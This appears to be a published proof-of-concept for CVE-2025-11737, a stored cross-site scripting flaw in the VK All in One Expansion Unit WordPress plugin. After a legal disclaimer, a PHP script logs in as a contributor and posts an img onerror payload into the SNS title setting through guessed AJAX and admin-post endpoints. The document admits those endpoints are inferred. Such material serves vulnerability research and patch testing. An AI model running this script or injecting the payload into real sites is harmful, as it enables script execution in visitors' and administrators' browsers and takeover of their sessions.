CVE-2025-11737: VK All in One Expansion Unit <= 9.112.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via SNS Title (vk-all-in-one-expansion-unit)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-11737 - VK All in One Expansion Unit <= 9.112.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via SNS Title
<?php
/**
 * Proof of Concept for CVE-2025-11737.
 * This script simulates an authenticated attack by a Contributor-level user.
 * It targets the 'vkExUnit_sns_title' parameter, which is inferred to be part of a plugin settings update mechanism.
 * The exact endpoint is not confirmed; this PoC assumes a common WordPress AJAX pattern.
 * Replace $target_url, $username, and $password with valid credentials for testing.
 */

$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload for stored XSS. This will execute when a user views a page containing the injected title.
$malicious_title = '<img src=x onerror=alert('Atomic Edge XSS via vkExUnit_sns_title')>';

// Initialize cURL session for WordPress login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Check login success by looking for a dashboard redirect or absence of login form.
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Atomic Edge research assumes the plugin uses an AJAX handler or admin POST endpoint to save settings.
// Two common patterns are tested. The first targets admin-ajax.php with a plugin-specific action.
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
$ajax_params = array(
    'action' => 'vk_exunit_update_sns_settings', // Inferred action name based on plugin slug
    'vkExUnit_sns_title' => $malicious_title,
    'nonce' => '' // Nonce would be required; its absence or validation bypass is part of the vulnerability context.
);

curl_setopt($ch, CURLOPT_URL, $ajax_endpoint);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_params));
$ajax_response = curl_exec($ch);

// If the AJAX attempt fails, try a direct admin POST to a plugin options page as an alternative.
if (strpos($ajax_response, 'success') === false && strpos($ajax_response, 'updated') === false) {
    $admin_post_url = $target_url . '/wp-admin/admin-post.php';
    $admin_post_params = array(
        'action' => 'vk_exunit_save_options',
        'vkExUnit_sns_title' => $malicious_title
    );
    curl_setopt($ch, CURLOPT_URL, $admin_post_url);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($admin_post_params));
    $admin_response = curl_exec($ch);
    echo 'Admin POST attempt completed. Check response for success indicators.n';
    echo 'Response length: ' . strlen($admin_response) . 'n';
} else {
    echo 'AJAX request submitted. Payload may be stored.n';
    echo 'Response snippet: ' . substr($ajax_response, 0, 200) . 'n';
}

curl_close($ch);
// Clean up cookie file
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>